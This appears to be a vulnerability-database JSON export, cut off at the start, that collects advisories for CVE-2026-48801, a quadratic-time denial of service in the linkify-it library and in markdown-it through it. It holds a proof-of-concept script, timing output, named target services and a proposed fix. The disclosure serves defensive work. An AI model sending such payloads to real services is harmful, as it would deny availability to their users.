= 0\nwhile ((m = re.exec(text)) !== null) { ... }\n```\n\nThat branch uses a `g`-flag RegExp and advances `lastIndex` — linear. The fuzzy branches don't follow this pattern.\n\n## Proof of concept\n\n```bash\nmkdir /tmp/linkifyit-redos \u0026\u0026 cd /tmp/linkifyit-redos\nnpm install linkify-it@5.0.0\n\ncat \u003e poc.mjs \u003c\u003c'EOF'\nimport LinkifyIt from 'linkify-it'\nconst l = new LinkifyIt()\nfor (const n of [1000, 2000, 4000, 8000, 16000]) {\n  const evil = 'a@b.com\\n'.repeat(n)\n  const t0 = process.hrtime.bigint()\n  l.match(evil)\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6\n  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)\n}\nEOF\nnode poc.mjs\n```\n\n### Measured output (Node v25.5.0, Apple Silicon)\n\n```\nn=1000  bytes=8000    took 44 ms\nn=2000  bytes=16000   took 159 ms\nn=4000  bytes=32000   took 628 ms\nn=8000  bytes=64000   took 2506 ms\nn=16000 bytes=128000  took 9948 ms\n```\n\nDoubling N → ~4× wall-clock, consistent with O(N²).\n\n### markdown-it transitive (independently confirmed)\n\n```bash\nnpm install markdown-it@14.1.1\nnode -e \"\n  const md = require('markdown-it')({ linkify: true })\n  for (const n of [1000, 2000, 4000, 8000]) {\n    const evil = 'a@b.com '.repeat(n)\n    const t0 = process.hrtime.bigint()\n    md.render(evil)\n    const ms = Number(process.hrtime.bigint() - t0) / 1e6\n    console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')\n  }\n\"\n```\n\n```\nn=1000 bytes=8000   md.render=45ms\nn=2000 bytes=16000  md.render=171ms\nn=4000 bytes=32000  md.render=672ms\nn=8000 bytes=64000  md.render=2636ms\n```\n\nSame quadratic curve. 64 KB is enough to burn 2.6 s in `markdown-it.render()`.\n\n## Impact\n\n- **Availability (High)**: A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.\n- No confidentiality or integrity impact.\n\n**Real-world scenario**: Any service that renders untrusted Markdown with `linkify:true` on the request path — Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it — receives a post/comment containing 64 KB of `\"a@b.com \"`. The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.\n\n## Suggested remediation\n\nThe fix is algorithmic — convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:\n\n1. Add the `g` flag to `email_fuzzy`, `link_fuzzy`, `link_no_ip_fuzzy`, `host_fuzzy_test` in `lib/re.mjs`\n2. Rewrite `test()` (or add `testAt(text, pos)`) so fuzzy branches set `re.lastIndex = pos` and call `re.exec(text)` instead of `text.match()`/`text.search()` on a sliced tail\n3. In `match()`, drop `tail = tail.slice(...)` entirely — advance a `pos` offset instead\n\nThe schema branch at `index.mjs:428-440` is already structured this way — it's the in-repo precedent for the fix.\n\n```js\n// proposed sketch\nLinkifyIt.prototype.match = function match (text) {\n  const result = []\n  let pos = 0\n  while (this.testAt(text, pos)) {\n    result.push(createMatch(this, 0))\n    pos = this.__last_index__\n  }\n  return result.length ? result : null\n}\n```\n\nTotal cost becomes O(N): each character scanned at most once per regex across the whole loop.\n\n## Duplicate-risk analysis\n\n- Zero GHSAs on `linkify-it` (`gh api /repos/markdown-it/linkify-it/security-advisories` → `[]`)\n- Zero OSV entries (`api.osv.dev/v1/query` → `{}`)\n- markdown-it's only GHSA (CVE-2022-21670, \"Possible ReDOS in newline rule\") targets markdown-it's own newline regex, not the linkify pipeline\n\nThis finding appears novel.\n\n## Note to maintainers\n\nSince `markdown-it` is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched `linkify-it` release should be paired with a `markdown-it` minor that pins the new minimum version.","status":"published","published":"2026-06-26T20:47:58Z","modified":"2026-06-26T20:47:59Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:40:33.778544Z"}],"nvd":[{"id":"CVE-2026-48801","description":"linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.","status":"published","published":"2026-07-14T21:17:01.247Z","modified":"2026-10-24T21:10:00.13Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:12:29.879716Z"}],"osv":[{"id":"CVE-2026-48801","title":"linkify-it: Quadratic algorithmic complexity in LinkifyIt#match scan loop","description":"linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.","status":"published","published":"2026-07-14T20:03:56.43Z","modified":"2026-10-28T02:30:38.507506305Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:45:06.701612Z"},{"id":"GHSA-22p9-wv53-3rq4","title":"LinkifyIt#match scan loop has quadratic algorithmic complexity","description":"## Summary\n\n`LinkifyIt.prototype.match` — the package's primary public API — has **O(N²) algorithmic complexity** for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.\n\n64 KB of `\"a@b.com\\n\"` repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).\n\nThe same cost passes through `markdown-it` (`linkify:true`) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.\n\n## Affected component\n\n- HEAD audited: `8e887d5bace3f5b09b1d1f70492fa0364ef1793d` (v5.0.0)\n- Vulnerable function: `LinkifyIt.prototype.match` — `index.mjs:528-554`\n- Re-scan call sites inside `test()`: `index.mjs:444` (fuzzy host search), `:448` (fuzzy link match), `:467` (fuzzy email match)\n- Transitive consumer: `markdown-it` (~21.6M weekly npm DLs) calls `linkify.match()` at `lib/rules_core/linkify.mjs:57` when `linkify:true`\n- **All versions affected** — the vulnerable loop exists since the initial commit (2014) through v5.0.0\n\n## Vulnerability details\n\n### The O(N²) outer loop\n\n`index.mjs:528-554`:\n\n```js\nLinkifyIt.prototype.match = function match (text) {\n  const result = []\n  let shift = 0\n  let tail = shift ? text.slice(shift) : text\n\n  while (this.test(tail)) {\n    result.push(createMatch(this, shift))\n    tail = tail.slice(this.__last_index__)   // \u003c-- re-allocates remaining tail each iteration\n    shift += this.__last_index__\n  }\n\n  if (result.length) return result\n  return null\n}\n```\n\nThe loop iterates O(N) times (once per match). Each iteration:\n1. `tail.slice()` re-allocates a string of length `|text| - shift` — O(N) per iteration\n2. `this.test(tail)` runs three unanchored regex searches over the full new `tail`:\n\n```js\n// index.mjs:444 — full-tail search\ntld_pos = text.search(this.re.host_fuzzy_test)\n// index.mjs:448 — full-tail match\nml = text.match(this.re.link_fuzzy)\n// index.mjs:467 — full-tail match\nme = text.match(this.re.email_fuzzy)\n```\n\nTotal cost: `Σ(N - i*c) for i=0..N = O(N²)`.\n\n### Contrast with the linear schema branch\n\nThe schema-prefixed scan in the same `test()` function does it correctly at `index.mjs:428-440`:\n\n```js\nre = this.re.schema_search\nre.lastIndex = 0\nwhile ((m = re.exec(text)) !== null) { ... }\n```\n\nThat branch uses a `g`-flag RegExp and advances `lastIndex` — linear. The fuzzy branches don't follow this pattern.\n\n## Proof of concept\n\n```bash\nmkdir /tmp/linkifyit-redos \u0026\u0026 cd /tmp/linkifyit-redos\nnpm install linkify-it@5.0.0\n\ncat \u003e poc.mjs \u003c\u003c'EOF'\nimport LinkifyIt from 'linkify-it'\nconst l = new LinkifyIt()\nfor (const n of [1000, 2000, 4000, 8000, 16000]) {\n  const evil = 'a@b.com\\n'.repeat(n)\n  const t0 = process.hrtime.bigint()\n  l.match(evil)\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6\n  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)\n}\nEOF\nnode poc.mjs\n```\n\n### Measured output (Node v25.5.0, Apple Silicon)\n\n```\nn=1000  bytes=8000    took 44 ms\nn=2000  bytes=16000   took 159 ms\nn=4000  bytes=32000   took 628 ms\nn=8000  bytes=64000   took 2506 ms\nn=16000 bytes=128000  took 9948 ms\n```\n\nDoubling N → ~4× wall-clock, consistent with O(N²).\n\n### markdown-it transitive (independently confirmed)\n\n```bash\nnpm install markdown-it@14.1.1\nnode -e \"\n  const md = require('markdown-it')({ linkify: true })\n  for (const n of [1000, 2000, 4000, 8000]) {\n    const evil = 'a@b.com '.repeat(n)\n    const t0 = process.hrtime.bigint()\n    md.render(evil)\n    const ms = Number(process.hrtime.bigint() - t0) / 1e6\n    console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')\n  }\n\"\n```\n\n```\nn=1000 bytes=8000   md.render=45ms\nn=2000 bytes=16000  md.render=171ms\nn=4000 bytes=32000  md.render=672ms\nn=8000 bytes=64000  md.render=2636ms\n```\n\nSame quadratic curve. 64 KB is enough to burn 2.6 s in `markdown-it.render()`.\n\n## Impact\n\n- **Availability (High)**: A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.\n- No confidentiality or integrity impact.\n\n**Real-world scenario**: Any service that renders untrusted Markdown with `linkify:true` on the request path — Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it — receives a post/comment containing 64 KB of `\"a@b.com \"`. The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.\n\n## Suggested remediation\n\nThe fix is algorithmic — convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:\n\n1. Add the `g` flag to `email_fuzzy`, `link_fuzzy`, `link_no_ip_fuzzy`, `host_fuzzy_test` in `lib/re.mjs`\n2. Rewrite `test()` (or add `testAt(text, pos)`) so fuzzy branches set `re.lastIndex = pos` and call `re.exec(text)` instead of `text.match()`/`text.search()` on a sliced tail\n3. In `match()`, drop `tail = tail.slice(...)` entirely — advance a `pos` offset instead\n\nThe schema branch at `index.mjs:428-440` is already structured this way — it's the in-repo precedent for the fix.\n\n```js\n// proposed sketch\nLinkifyIt.prototype.match = function match (text) {\n  const result = []\n  let pos = 0\n  while (this.testAt(text, pos)) {\n    result.push(createMatch(this, 0))\n    pos = this.__last_index__\n  }\n  return result.length ? result : null\n}\n```\n\nTotal cost becomes O(N): each character scanned at most once per regex across the whole loop.\n\n## Duplicate-risk analysis\n\n- Zero GHSAs on `linkify-it` (`gh api /repos/markdown-it/linkify-it/security-advisories` → `[]`)\n- Zero OSV entries (`api.osv.dev/v1/query` → `{}`)\n- markdown-it's only GHSA (CVE-2022-21670, \"Possible ReDOS in newline rule\") targets markdown-it's own newline regex, not the linkify pipeline\n\nThis finding appears novel.\n\n## Note to maintainers\n\nSince `markdown-it` is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched `linkify-it` release should be paired with a `markdown-it` minor that pins the new minimum version.","status":"published","published":"2026-06-26T20:47:58Z","modified":"2026-09-10T03:51:07.300156595Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:33.520522Z"},{"id":"RHSA-2026:38187","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-07-13T10:07:27Z","modified":"2026-10-20T10:08:16Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.491441Z"},{"id":"RHSA-2026:57590","title":"Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update","status":"published","published":"2026-08-21T10:14:02Z","modified":"2026-10-20T10:11:37Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"UBUNTU-CVE-2026-48801","description":"linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.","status":"published","published":"2026-07-14T21:17:00Z","modified":"2026-10-17T13:00:23.478948868Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:33.391918Z"},{"id":"CLSA-2026-1791290211","title":"TuxCare security update for linkify-it (1 CVE)","description":"TuxCare rebuilt linkify-it to address 1 CVE. Fixed in 2.2.0-tuxcare.2.","status":"published","published":"2026-10-06T12:36:51Z","modified":"2026-10-15T09:47:58.248510799Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1792767578","title":"TuxCare security update for linkify-it (1 CVE)","description":"TuxCare rebuilt linkify-it to address 1 CVE. Fixed in 1.0.1-tuxcare.2.","status":"published","published":"2026-10-23T14:59:38Z","modified":"2026-10-23T19:15:11.351541589Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792776237","title":"TuxCare security update for linkify-it (1 CVE)","description":"TuxCare rebuilt linkify-it to address 1 CVE. Fixed in 3.0.3-tuxcare.2.","status":"published","published":"2026-10-23T17:23:57Z","modified":"2026-10-23T19:15:09.449807531Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"MGASA-2026-0377","title":"Updated python-linkify-it-py package fixes security vulnerabilities","description":"LinkifyIt.match() was quadratic on untrusted input when linkify is\nenabled (GHSA-8m2q-wq3r-6hq8).\nFix quadratic complexity in LinkifyIt.match(), port of linkify-it 5.0.1\nand 5.0.2 (upstream CVE-2026-48801, CVE-2026-59887) (#82)\nMatch validators at a position instead of slicing the tail, needed\nbecause Python 3.10 does not optimize the ^ anchor (#82)\nAllow ; in the email name, matching linkify-it. Behavior change:\na;b@example.com is now linkified (#82)\n","status":"published","published":"2026-09-05T04:35:57Z","modified":"2026-09-05T04:45:03.246249689Z","updated_at":"2026-11-02T15:49:43.795591Z"},{"id":"ROOT-APP-NPM-CVE-2026-48801","title":"CVE-2026-48801 in linkify-it - Patched by Root","description":"Root has patched CVE-2026-48801 in the linkify-it package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T06:42:43Z","modified":"2026-10-20T07:15:17.192610327Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}